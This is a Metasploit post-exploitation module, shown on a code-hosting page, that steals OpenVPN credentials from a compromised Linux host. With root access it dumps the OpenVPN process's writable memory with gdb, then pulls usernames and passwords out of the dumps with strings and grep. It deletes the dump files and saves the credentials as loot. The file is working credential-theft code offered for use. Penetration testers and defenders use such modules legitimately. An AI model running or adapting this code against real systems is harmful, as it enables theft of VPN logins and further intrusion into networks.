Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/linux/gather/openvpn_credentials.rb
19516 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::File
8
include Msf::Post::Linux::Priv
9
include Msf::Post::Linux::System
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'OpenVPN Gather Credentials',
16
'Description' => %q{
17
This module grab OpenVPN credentials from a running process
18
in Linux.
19
20
Note: --auth-nocache must not be set in the OpenVPN command line.
21
},
22
'License' => MSF_LICENSE,
23
'Author' => [
24
'rvrsh3ll', # Discovery
25
'Roberto Soares Espreto <robertoespreto[at]gmail.com>', # Metasploit Module
26
],
27
'Platform' => ['linux'],
28
'SessionTypes' => ['shell', 'meterpreter'],
29
'References' => [
30
['URL', 'https://gist.github.com/rvrsh3ll/cc93a0e05e4f7145c9eb#file-openvpnscraper-sh']
31
],
32
'Notes' => {
33
'Stability' => [CRASH_SAFE],
34
'SideEffects' => [],
35
'Reliability' => []
36
}
37
)
38
)
39
40
register_options([
41
OptInt.new('PID', [true, 'Process IDentifier to OpenVPN client.']),
42
OptString.new('TMP_PATH', [true, 'The path to the directory to save dump process', '/tmp/'])
43
])
44
end
45
46
def pid
47
datastore['PID']
48
end
49
50
def tmp_path
51
datastore['TMP_PATH']
52
end
53
54
def run
55
user = cmd_exec('/usr/bin/whoami')
56
print_good("Module running as \"#{user}\" user")
57
58
unless is_root?
59
print_error('This module requires root permissions.')
60
return
61
end
62
63
cmd = "/bin/grep rw-p /proc/#{pid}/maps | "
64
cmd << 'sed -n \'s/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p\' | '
65
cmd << "while read start stop; do /usr/bin/gdb --batch-silent --silent --pid #{pid} -ex \"dump memory #{tmp_path}#{pid}-$start-$stop.dump 0x$start 0x$stop\"; done 2>/dev/null; echo $?"
66
dump = cmd_exec(cmd)
67
68
if dump.chomp.to_i != 0
69
print_warning('Could not dump process.')
70
return
71
end
72
73
vprint_good('Process dumped successfully.')
74
75
strings = cmd_exec("/usr/bin/strings #{tmp_path}*.dump | /bin/grep -B2 KnOQ | /bin/grep -v KnOQ | /usr/bin/column | /usr/bin/awk '{print \"User: \"$1\"\\nPass: \"$2}'")
76
77
deldump = cmd_exec("/bin/rm #{tmp_path}*.dump --force 2>/dev/null; echo $?")
78
if deldump.chomp.to_i == 0
79
vprint_good('Removing temp files successfully.')
80
else
81
print_warning('Could not remove dumped files. Remove manually.')
82
end
83
84
fail_with(Failure::BadConfig, 'No credentials. You can check if the PID is correct.') if strings.empty?
85
86
vprint_good("OpenVPN Credentials:\n#{strings}")
87
88
p = store_loot(
89
'openvpn.grab',
90
'text/plain',
91
session,
92
strings,
93
nil
94
)
95
print_status("OpenVPN Credentials stored in #{p}")
96
end
97
end
98
99